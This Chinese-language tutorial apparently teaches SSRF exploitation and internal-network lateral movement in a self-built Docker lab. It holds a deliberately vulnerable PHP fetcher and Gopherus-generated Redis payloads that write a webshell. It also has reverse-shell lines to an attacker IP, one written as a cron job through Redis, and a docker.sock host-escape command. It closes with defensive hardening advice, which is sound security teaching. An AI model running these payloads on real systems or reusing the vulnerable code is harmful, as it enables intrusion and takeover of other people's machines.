1. 项目概述:为什么SSRF与内网渗透是安全测试的黄金组合
在渗透测试的实战中,SSRF(服务器端请求伪造)漏洞常常被初学者低估,认为它只是一个“让服务器发个请求”的小问题。但在我多年的内网渗透经历里,SSRF往往是那把打开内网大门的“万能钥匙”。想象一下,你面对的是一个坚固的堡垒,正门防守严密,但SSRF能让你从堡垒内部一个不起眼的小门,直接进入其核心腹地——也就是通常对外不可见的内网环境。
这个项目的核心,就是围绕“Kali Linux”这个渗透测试标准平台,手把手带你走通从发现一个SSRF漏洞,到利用它进行内网信息探测、服务攻击,最终实现内网横向移动的完整链条。我们会使用Docker来快速搭建一个高度仿真的靶场环境,这不仅能让你安全、合法地练习所有攻击手法,更能让你深刻理解漏洞产生的根本原因和防御思路。无论你是刚开始接触Web安全的新手,还是想深化内网渗透技巧的从业者,这套从漏洞挖掘到纵深利用的实战指南,都能让你获得即学即用的能力。毕竟,真正的安全能力,源于对攻击链路的透彻理解。
2. 靶场环境搭建:用Docker快速构建仿真内网
工欲善其事,必先利其器。一个稳定、隔离且贴近真实的靶场环境,是安全研究的第一步。我们选择Docker,因为它能秒级启动多个相互隔离的容器,轻松模拟出包含Web服务器、数据库、内部应用在内的复杂内网结构,完美复现SSRF攻击中“由外到内”的路径。
2.1 Docker与Docker Compose部署要点
首先,确保你的Kali Linux已经安装了Docker Engine和Docker Compose。虽然Kali源里有docker.io包,但我更推荐使用Docker官方源进行安装,以获得最新版本和更好的兼容性。
# 1. 卸载旧版本(如果有) sudo apt-get remove docker docker-engine docker.io containerd runc # 2. 安装依赖工具 sudo apt-get update sudo apt-get install -y ca-certificates curl gnupg # 3. 添加Docker官方GPG密钥 sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod a+r /etc/apt/keyrings/docker.gpg # 4. 设置稳定版仓库 echo \ "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian \ $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null # 5. 安装Docker Engine sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin # 6. 启动Docker并设置开机自启 sudo systemctl start docker sudo systemctl enable docker # 7. 将当前用户加入docker组,避免每次使用sudo sudo usermod -aG docker $USER # 执行此命令后,需要注销并重新登录,或者执行 `newgrp docker` 使组更改生效注意:将用户加入
docker组等同于赋予其root权限,因为容器内的进程默认以root身份运行。在个人学习环境可以这样操作,在生产环境或多人共用主机时,需要严格评估风险。
接下来安装Docker Compose独立版本(如果你使用的docker-compose-plugin的docker compose命令不习惯,可以安装独立版本):
# 下载最新稳定版Docker Compose sudo curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose # 赋予执行权限 sudo chmod +x /usr/local/bin/docker-compose # 验证安装 docker-compose --version2.2 编写靶场docker-compose.yml文件
我们的靶场需要模拟一个典型场景:一个存在SSRF漏洞的对外Web应用(vuln-webapp),以及一个处于内网、外部无法直接访问的敏感服务(internal-service),比如一个Redis数据库或一个内部管理界面。
创建一个项目目录,例如ssrf_lab,并在其中创建docker-compose.yml文件:
version: '3.8' services: # 存在SSRF漏洞的Web应用 vuln-webapp: image: vulhub/ssrf:latest # 可以使用一个现成的漏洞镜像,或者自己构建 build: ./vuln-app # 如果需要自定义,指向Dockerfile路径 ports: - "8080:80" # 将容器80端口映射到宿主机的8080端口,对外提供服务 networks: - frontend - backend # 该容器同时连接两个网络,模拟边界位置 depends_on: - internal-service # 环境变量示例,用于配置应用 environment: - REDIS_HOST=internal-service - REDIS_PORT=6379 # 内网敏感服务,模拟Redis internal-service: image: redis:alpine networks: - backend # 仅连接内网backend网络,外部无法直接访问 # 不映射端口到宿主机,实现“内网”效果 # 可选:增加一个内网Web应用,增加渗透层次 internal-admin: image: vulhub/flask:latest # 示例,一个简单的Flask应用 networks: - backend environment: - FLASK_APP=app.py - FLASK_ENV=development networks: frontend: driver: bridge backend: driver: bridge internal: true # 关键!将backend网络设置为内部网络,禁止容器外访问这个配置的精髓在于网络隔离:
frontend网络:模拟公网或DMZ区,vuln-webapp在此网络上,可通过宿主机IP:8080访问。backend网络:模拟纯内网,设置了internal: true。只有vuln-webapp、internal-service和internal-admin在此网络上。从宿主机或其他外部网络无法直接访问backend网络中的任何服务。vuln-webapp作为“跳板机”,横跨两个网络,这正是SSRF漏洞能够发挥作用的基础架构。
2.3 自定义漏洞应用构建
如果不想用现成镜像,可以自己构建一个简单的存在SSRF漏洞的PHP应用。在ssrf_lab/vuln-app/目录下创建文件:
Dockerfile:
FROM php:8.1-apache COPY src/ /var/www/html/ RUN docker-php-ext-install mysqli && docker-php-ext-enable mysqlisrc/index.php:
<?php // 一个存在SSRF漏洞的简单功能:获取用户输入的URL并显示其内容 if (isset($_GET['url'])) { $url = $_GET['url']; // 漏洞点:未对$url进行任何过滤,直接用于发起请求 $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 模拟一个常见的错误:允许跟随重定向,这可能被利用 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "<h2>请求结果 (HTTP Code: $httpCode)</h2>"; echo "<pre>" . htmlspecialchars($response) . "</pre>"; } else { echo '<form method="GET"> <label>请输入URL:</label> <input type="text" name="url" size="50" value="http://example.com"> <input type="submit" value="获取内容"> </form>'; } ?>构建并启动靶场:
cd ssrf_lab # 如果使用了自定义构建,确保在docker-compose.yml中配置了build路径 docker-compose up -d --build使用docker-compose ps和docker network ls查看服务状态和网络,确认backend网络已创建且为内部网络。现在,访问http://your-kali-ip:8080就能看到漏洞页面了。
3. SSRF漏洞原理与手动探测方法
SSRF的本质是攻击者能够诱使服务器应用程序向攻击者指定的任意地址发起HTTP请求。由于这个请求是从服务器内部发起的,因此它可以访问到服务器所在网络环境中,外部攻击者无法直接触及的资源,包括本地回环地址(127.0.0.1)、内网IP段、云服务元数据接口等。
3.1 漏洞常见触发点与利用场景
SSRF漏洞通常出现在以下功能点:
- 数据获取/采集功能:如上述示例中的“网页抓取”、“转码”、“翻译”、“在线预览”功能,参数中直接包含URL。
- 文件处理功能:如“从URL导入图片”、“下载文件到服务器处理”,使用
file_get_contents()、fopen()等函数。 - Webhook或回调通知:服务端需要根据客户端提供的URL发起回调。
- 内部服务集成:某些应用会请求内网其他服务的API来完成功能,攻击者可能篡改请求参数指向恶意地址。
在我们的靶场中,漏洞点非常直观:一个未经验证的用户输入$_GET['url']被直接传递给cURL。但实战中,漏洞可能隐藏更深,需要系统性地探测。
3.2 系统化手动探测流程
面对一个疑似点,不要只测试http://127.0.0.1。我通常遵循以下流程:
第一步:基础回环与端口探测
# 尝试直接访问本地服务 http://vuln-app/?url=http://127.0.0.1 http://vuln-app/?url=http://localhost # 尝试访问本地可能存在的管理端口 http://vuln-app/?url=http://127.0.0.1:22 # SSH http://vuln-app/?url=http://127.0.0.1:3306 # MySQL http://vuln-app/?url=http://127.0.0.1:6379 # Redis http://vuln-app/?url=http://127.0.0.1:8081 # 其他内部Web服务观察响应时间、返回内容、错误信息。如果请求一个未开放的端口,服务器可能会返回连接拒绝的错误,或者超时。通过响应时间的差异,可以初步判断端口是否开放。
第二步:绕过常见防御(黑名单过滤)开发人员可能会过滤127.0.0.1、localhost等关键词。你需要尝试多种绕过技巧:
- IP地址格式变形:
http://0177.0.0.1(八进制)http://2130706433(十进制)http://0x7f000001(十六进制)http://127.1(短格式)http://127.0.1
- 利用URL解析特性:
http://127.0.0.1.nip.io(nip.io会将任何子域名解析到对应的IP)http://localhost@127.0.0.1(利用@语法,部分解析库会取@后的host)http://127.0.0.1#.example.com(利用#片段标识)
- 指向域名并控制DNS解析:如果服务器有出网权限,你可以设置一个域名,将其A记录指向
127.0.0.1,然后请求该域名。
第三步:探测内网网段假设服务器内网网段是192.168.0.0/24或10.0.0.0/8。你需要进行盲测。
# 使用Burp Suite的Intruder模块或自己写脚本,对常见端口进行批量探测 # 例如,探测192.168.1.1-192.168.1.254的80端口 for i in {1..254}; do time curl -s "http://vuln-app/?url=http://192.168.1.$i:80" -o /dev/null -w "%{http_code}\n" done通过脚本分析响应状态码(200, 403, 302等)和响应时间,可以绘制出内网存活主机和开放服务的简易地图。响应时间明显短于连接超时的,很可能就是存活主机。
第四步:利用协议封装与重定向
- file协议:尝试
file:///etc/passwd读取服务器本地文件。但现代PHP环境通常默认禁用file://封装器。 - dict协议:
dict://127.0.0.1:6379/info可以直接向Redis发送命令,无需完整的HTTP交互,是探测和攻击无认证Redis的利器。 - gopher协议:一个非常古老的协议,但威力巨大。它可以封装完整的TCP数据流,用于攻击Redis、MySQL、FastCGI等内网服务。构造虽然复杂,但已有成熟工具。
- 利用外部重定向:如果服务器跟随重定向(如我们靶场中设置的
CURLOPT_FOLLOWLOCATION),你可以先让服务器请求一个你控制的合法域名(如http://your-evil-site.com/redirect.php),然后在这个页面上返回一个302重定向到http://127.0.0.1:22。这样,最初的请求是合法的,但最终请求的目标是内网地址,可能绕过一些基于原始URL的黑名单过滤。
4. 自动化工具辅助探测与利用
手动探测是基础,但效率低下。结合自动化工具,可以大幅提升信息收集的广度和深度。
4.1 使用Gopherus构造高级攻击载荷
Gopherus是一款专门用于利用SSRF攻击内网服务的工具,它自动化了生成gopher://协议攻击载荷的复杂过程。
首先,在Kali上安装或使用Gopherus:
git clone https://github.com/tarunkant/Gopherus.git cd Gopherus chmod +x gopherus.py假设通过之前的探测,我们发现内网192.168.100.2的6379端口开放,且是Redis服务,并且从vuln-webapp可以访问到。
攻击场景:利用SSRF攻击内网未授权Redis,写入Webshell
- 探测确认:先通过SSRF用
dict协议确认Redis是否可访问且无认证。
http://vuln-app/?url=dict://192.168.100.2:6379/info如果返回Redis版本信息,说明存在未授权访问。
- 使用Gopherus生成攻击载荷:
python3 gopherus.py --exploit redis工具会交互式询问:
Give Redis host: 192.168.100.2(目标Redis内网IP)Give webroot path: /var/www/html(这是**vuln-webapp容器**的Web根目录,不是Redis容器的!我们需要知道漏洞应用本身的路径。可以通过报错信息、默认路径猜测,或利用其他信息泄露漏洞获取。这里假设已知。)Give PHP Payload: <?php system($_GET[‘cmd’]);?>(要写入的webshell内容)
工具会生成一长串gopher://开头的URL编码后的命令序列。这个序列包含了连接Redis、写入一个键值对(键为Webshell路径,值为PHP代码)、保存配置等一系列Redis命令。
- 发起SSRF攻击: 将生成的
gopher://...整个字符串,作为url参数的值,发送给存在SSRF的端点。
http://vuln-app/?url=gopher://192.168.100.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...(很长一串)服务器会解析这个URL,并向192.168.100.2:6379发起一个TCP连接,发送完整的Redis命令。如果成功,就会在vuln-webapp的/var/www/html/shell.php写入一句话木马。
- 访问Webshell: 访问
http://vuln-app:8080/shell.php?cmd=id,如果返回了当前进程的用户信息,则攻击成功,获得了在vuln-webapp容器上的命令执行权限。
实操心得:Gopherus生成的载荷可能因为Redis版本、配置或网络环境而失败。务必在靶场中多测试。关键是要明确写入的路径必须是漏洞应用服务器(即发起SSRF请求的那台服务器)上Web服务可访问的路径,而不是Redis服务器本身的路径。
4.2 使用SSRFmap进行自动化扫描
SSRFmap是一个功能强大的自动化SSRF探测和利用框架,支持多种后端服务指纹识别和攻击模块。
git clone https://github.com/swisskyrepo/SSRFmap.git cd SSRFmap pip3 install -r requirements.txt创建一个配置文件config.txt,定义目标:
# 定义存在SSRF的参数和基本URL url = http://your-kali-ip:8080/ param = url method = GET # 定义要探测的内网IP段和端口 internal_networks = 192.168.100.0/24, 10.0.0.0/8 ports = 80,443,22,21,25,3306,6379,8080,8081运行扫描:
python3 ssrfmap.py -r config.txt -m portscanSSRFmap会自动替换url参数的值,对内网指定IP段和端口进行扫描,并报告哪些组合是可访问的。
除了端口扫描,它还可以自动识别服务并尝试攻击:
# 尝试读取AWS/阿里云等云服务器的元数据 python3 ssrfmap.py -r config.txt -m cloud # 尝试攻击Redis python3 ssrfmap.py -r config.txt -m redis # 尝试攻击FastCGI python3 ssrfmap.py -r config.txt -m fastcgi注意事项:自动化工具虽然高效,但噪音大,容易触发告警。在真实授权测试中,应谨慎使用,并控制扫描速度和并发。在靶场中则可以放开测试,观察工具的行为和payload,这本身就是学习的过程。
5. 内网渗透横向移动实战
通过SSRF拿到vuln-webapp容器的命令执行权限(Webshell)后,我们的视角就从外部进入了内网的第一台主机。接下来,目标是以此为跳板,探索并控制内网backend网络中的其他服务(internal-service,internal-admin)。
5.1 容器内信息收集
首先,我们需要了解当前所处的环境。
# 查看当前用户和权限 whoami id # 查看网络配置,确认网卡和内网IP ip addr cat /etc/hosts # 查看当前容器的网络连接 netstat -antp # 查看环境变量,可能包含数据库密码等敏感信息 env # 查看进程列表,发现其他服务 ps aux # 尝试探测同一网络内的其他主机(从容器内部) for i in {1..10}; do ping -c 1 192.168.100.$i 2>&1 | grep -E "from|time="; done # 或者使用nmap(如果容器内安装了) nmap -sn 192.168.100.0/24在我们的Docker Compose设置中,vuln-webapp容器应该有两个IP:一个在frontend网络(如172.20.0.x),一个在backend网络(如192.168.100.x)。我们的目标是backend网络。
5.2 利用Redis未授权访问获取Shell
假设我们通过信息收集,确认internal-service(192.168.100.2)是Redis,且从vuln-webapp可以连通。虽然我们通过SSRF从外部攻击了它,但现在我们已经在vuln-webapp容器内,有了更直接的通道。
交互式连接Redis:
# 在vuln-webapp的webshell中执行 apt-get update && apt-get install -y redis-tools # 如果容器内没有redis-cli redis-cli -h 192.168.100.2连接成功后,可以执行
info、keys *等命令查看数据。利用Redis写计划任务反弹Shell(针对Linux宿主机或容器): 如果Redis是以root权限运行,并且我们猜测或知道了宿主机上某个用户的用户名,可以尝试写入计划任务。
# 在redis-cli中执行 config set dir /var/spool/cron/ config set dbfilename root set xx "\n\n* * * * * bash -i >& /dev/tcp/你的攻击机IP/4444 0>&1\n\n" save重要警告:这种方法攻击的是Redis服务器所在的宿主机或容器本身,前提是Redis进程有权限写入
/var/spool/cron/目录。在Docker容器中,Redis通常以redis用户运行,权限较低,此方法成功率不高。但它是一种经典的思路。更可行的方式:写入Webshell到关联应用。 如果内网中还有另一个Web应用(如我们的
internal-admin)和Redis在同一网络,并且我们知道其Web目录路径,可以故技重施,让Redis写入shell到那个Web目录。这需要更精确的信息收集。
5.3 对内网Web应用进行攻击
假设我们发现了internal-admin(192.168.100.3:5000)。从vuln-webapp容器内部,我们可以直接访问它。
扫描与指纹识别:
# 使用curl或nmap扫描 curl -v http://192.168.100.3:5000/ nmap -sV -p 5000 192.168.100.3发现是一个Flask应用。
目录扫描与漏洞探测:
# 使用gobuster等工具(需安装或上传) gobuster dir -u http://192.168.100.3:5000 -w /usr/share/wordlists/dirb/common.txt可能会发现
/admin、/upload、/debug等路径。利用已知漏洞或弱口令: 如果发现
/admin是登录页面,可以尝试常见弱口令(admin/admin, admin/123456)或爆破。如果发现/console是Flask调试终端,且未设置PIN码,则可能直接获得代码执行权限(这是一个经典漏洞)。建立持久化通道: 如果在
internal-admin上获得了执行权限,应该考虑上传一个功能更全的持久化后门,例如用wget或curl下载一个静态编译的socat或nc,然后反弹一个更稳定的shell到你的攻击机(Kali)。# 在攻击机Kali上监听 nc -lvnp 4445 # 在获取权限的internal-admin容器内执行 bash -c 'bash -i >& /dev/tcp/攻击机IP/4445 0>&1'现在,你有了第二个内网节点的控制权。
5.4 权限提升与进一步渗透
在控制了一个或多个容器后,下一步是尝试权限提升(提权)和向宿主机或其他网络段渗透。
容器内提权:
- 检查
sudo -l,看当前用户能以什么权限运行哪些命令。 - 查找具有SUID权限的可执行文件:
find / -perm -u=s -type f 2>/dev/null。常见的如find、vim、bash、python等,如果配置不当,可以用来提权。 - 检查内核版本,搜索对应的Dirty Cow、Dirty Pipe等容器逃逸漏洞。
- 检查挂载的敏感目录:
mount、cat /proc/mounts。如果宿主机目录(如/、/etc、/var/run/docker.sock)被挂载到容器内,则可能直接导致宿主机沦陷。
- 检查
Docker Socket逃逸: 这是容器逃逸中最经典、最危险的一种情况。如果容器内挂载了宿主机的Docker守护进程套接字(
/var/run/docker.sock),那么容器内的进程就可以直接与宿主机Docker引擎通信,相当于拥有了在宿主机上启动任意容器的权限。# 在容器内检查 ls -la /var/run/docker.sock # 如果存在,安装docker客户端或使用curl与API交互 # 在宿主机上启动一个挂载了宿主机根目录的新容器,从而获得宿主机完全访问权 docker -H unix:///var/run/docker.sock run -it -v /:/host ubuntu:latest chroot /host bash在我们的靶场中,默认不会挂载docker.sock,但这是真实环境中需要重点检查的。
网络探测与横向移动: 以控制的容器为新的跳板,继续探测
backend网络中尚未发现的IP段和服务。可以使用ping、nmap(需安装或上传静态二进制文件)、或者简单的bash脚本进行端口扫描。 同时,注意收集容器内的配置文件、历史命令、数据库连接字符串、SSH密钥等,这些信息可能有助于登录其他系统。
6. 防御策略与安全加固建议
理解了攻击链条,防御就更有针对性。防御SSRF和内网渗透需要多层次、纵深防御。
6.1 应用层防御(开发人员)
输入校验与白名单:
- 绝对不要信任用户输入的URL。建立严格的白名单机制,只允许访问预设的、已知安全的域名或IP。
- 如果功能上必须允许用户输入URL,则进行严格的校验:
- 解析URL,获取其
host。 - 检查
host是否属于内网IP段(如127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16,::1等)。注意要覆盖所有格式(十进制、八进制等)。 - 检查
host是否为回环地址或本地域名。
- 解析URL,获取其
- 使用成熟的URL解析库(如Python的
urllib.parse, Java的java.net.URI),避免使用正则表达式自己解析,容易出错。
禁用危险的URL协议:
- 在发起请求的客户端代码中,显式禁用
file://、gopher://、dict://、ftp://等非HTTP(S)协议。大多数HTTP客户端库都支持设置允许的协议。
- 在发起请求的客户端代码中,显式禁用
设置请求边界:
- 为出站请求设置严格的防火墙规则,限制服务器只能访问必要的白名单外网地址和特定的内网服务端口。
- 使用网络层解决方案,如为应用程序服务器配置独立的出站代理,并在代理上实施访问控制。
认证与权限:
- 确保内网服务(如Redis、MySQL、Memcached)都需要强密码认证,杜绝未授权访问。这是防止SSRF漏洞造成严重后果的关键一环。
- 遵循最小权限原则,运行Web服务的进程权限应尽可能低,避免使用root。
6.2 网络层与系统层防御(运维人员)
严格的网络分段:
- 使用防火墙或安全组,确保Web服务器所在区域(DMZ)不能直接访问核心生产内网。如果需要访问,必须通过特定的API网关或堡垒机,并实施严格的访问控制列表(ACL)。
- 在我们的Docker靶场中,
internal: true网络就是模拟这种隔离。生产环境中,可以通过VLAN、不同的VPC、严格的安全组规则来实现。
云平台元数据服务保护:
- 对于云服务器,元数据服务(如AWS的
169.254.169.254)是一个高危目标。确保云主机的防火墙策略禁止从外部或非受信进程访问元数据端点。许多云平台也提供了禁用或加固元数据服务的选项。
- 对于云服务器,元数据服务(如AWS的
容器安全:
- 避免使用
--privileged特权模式运行容器。 - 避免将宿主机敏感目录(如
/、/etc、/var/run/docker.sock)挂载到容器内。 - 使用非root用户运行容器内的进程(在Dockerfile中使用
USER指令)。 - 定期更新容器镜像,修复基础镜像中的安全漏洞。
- 避免使用
安全监控与响应:
- 在服务器和应用日志中,监控异常的出站连接请求,特别是对内部IP段、元数据地址的请求。
- 部署HIDS(主机入侵检测系统)或网络IDS,检测可疑的横向移动行为(如容器内大量端口扫描、异常进程启动等)。
- 建立应急响应流程,一旦发现SSRF被利用,能快速定位受影响服务器、下线服务、修复漏洞并溯源。
7. 常见问题与排查技巧实录
在实际操作中,你会遇到各种各样的问题。这里记录了一些我踩过的坑和解决方法。
问题1:Docker Compose启动失败,提示“virtualization support not detected”或“Docker Desktop failed to start”。
- 背景:这通常发生在Windows或macOS上运行Docker Desktop时,但在Kali Linux(作为虚拟机运行)中也可能遇到,如果宿主机的虚拟化支持未开启。
- 排查:
- 首先确认你的Kali Linux是安装在物理机还是虚拟机(如VMware)中。
- 如果是物理机:进入BIOS/UEFI设置,确保Intel VT-x或AMD-V虚拟化技术已启用。
- 如果是虚拟机:你需要为这个Kali虚拟机开启嵌套虚拟化。
- VMware:关闭虚拟机 -> 右键虚拟机设置 -> 处理器 -> 勾选“虚拟化Intel VT-x/EPT或AMD-V/RVI”。
- VirtualBox:关闭虚拟机 -> 设置 -> 系统 -> 处理器 -> 勾选“启用嵌套分页/AMD-V”。
- 在Kali内检查:
egrep -c '(vmx|svm)' /proc/cpuinfo,输出大于0则表示支持。
问题2:SSRF漏洞点存在,但请求内网IP始终超时或失败。
- 排查:
- 网络连通性:首先从
vuln-webapp容器内部,手动执行curl或ping命令,测试到目标内网IP的连通性。确认网络路径是通的。 - 容器防火墙:检查目标内网服务的容器是否有防火墙规则(如
iptables)限制了来自vuln-webapp容器IP的访问。Docker默认的bridge网络通常允许容器间通信。 - 服务监听地址:检查内网服务(如Redis)是否绑定在了
127.0.0.1而不是0.0.0.0。如果只绑定127.0.0.1,那么只有本机可以访问。修改服务配置,使其监听0.0.0.0或在docker-compose.yml中通过环境变量设置。 - 应用代码限制:检查漏洞应用的代码,是否在发起请求前对目标IP做了额外的过滤或DNS解析限制。有些框架或库会有自己的安全机制。
- 网络连通性:首先从
问题3:使用Gopherus攻击Redis成功写入文件,但无法访问Webshell。
- 排查:
- 路径错误:这是最常见的原因。Gopherus中指定的Webroot路径必须是存在SSRF漏洞的Web应用(即发起请求的服务器)的Web目录,并且该目录对Web服务器进程(如www-data用户)可写。通过SSRF执行命令
find / -name "index.php" 2>/dev/null或查看Web服务器配置来确认路径。 - 文件权限:写入的文件可能权限是
redis:redis,而Web服务器进程是www-data,无法读取。可以在写入后尝试通过其他方式(如另一个漏洞)修改文件权限。 - 内容被转义或截断:如果Web应用对输出做了HTML转义(如用了
htmlspecialchars),那么写入的PHP代码中的<、>会被转义,导致无法执行。需要尝试其他写入方式,比如写入到.htaccess文件进行配置,或者写入到日志文件然后包含。
- 路径错误:这是最常见的原因。Gopherus中指定的Webroot路径必须是存在SSRF漏洞的Web应用(即发起请求的服务器)的Web目录,并且该目录对Web服务器进程(如www-data用户)可写。通过SSRF执行命令
问题4:内网端口扫描没有结果,如何判断是端口未开放还是请求被拦截?
- 技巧:
- 对比测试:先请求一个确定开放且可访问的外网服务(如
http://example.com:80),记录正常响应时间。再请求一个确定关闭的外网端口(如http://example.com:9999),记录超时时间。最后请求内网IP端口,对比响应时间。如果接近关闭端口的超时时间,则很可能端口关闭或路由不通;如果明显快于关闭端口,即使返回错误(如连接拒绝),也说明端口是开放的(有服务在监听,但拒绝了连接)。 - 利用差异:尝试访问内网IP的不同端口,观察错误信息。
Connection refused和Connection timed out是两种不同的错误,前者通常意味着端口开放但服务拒绝,后者意味着网络不通或防火墙丢弃。 - DNS回显:如果SSRF漏洞点会将错误信息(包括DNS解析的IP)返回给用户,你可以尝试让服务器访问一个你拥有DNS日志记录的域名。通过查看DNS查询来源IP,可以确认服务器是否真的发起了请求,以及是从哪个IP发起的(可能是负载均衡后的IP)。
- 对比测试:先请求一个确定开放且可访问的外网服务(如
问题5:在容器内获得shell后,感觉环境非常“干净”,缺少常用工具(nmap, nc, wget等)。
- 解决:
- 静态二进制文件:事先在你的攻击机上准备好静态编译的常用工具(如
nmap、busybox、socat)。在获得Webshell后,可以分段上传(通过echo命令将base64编码的内容写入文件)到目标容器。 - 利用容器包管理器:如果容器有网络且包管理器可用,直接安装。Alpine用
apk add,Debian/Ubuntu用apt-get install,CentOS用yum install。但生产环境容器通常为了精简会移除包管理器。 - Python/Perl等解释器:检查容器内是否有
python、python3、perl、php。这些语言环境本身就可以用来执行很多系统命令、发起网络请求,甚至开启一个简单的HTTP服务器来传输文件。
# 用Python3开启一个简单的HTTP服务器,从攻击机下载文件 python3 -m http.server 8000 & # 在攻击机Kali上,使用wget或curl下载文件到容器 wget http://攻击机IP:8000/your_tool -O /tmp/tool - 静态二进制文件:事先在你的攻击机上准备好静态编译的常用工具(如
整个从SSRF发现到内网渗透的旅程,就像一场精心策划的探险。你需要耐心地收集每一片信息,巧妙地绕过每一道障碍,并灵活地运用手头的工具。靶场练习的意义,就在于让你在安全的环境中,完整地走通这个流程,理解每一个环节的原理和可能遇到的问题。当你在真实测试中遇到类似场景时,这份肌肉记忆和排查经验,将是你最可靠的武器。记住,防御者也在不断进步,因此保持学习、思考新的绕过和利用方式,是安全从业者永恒的课题。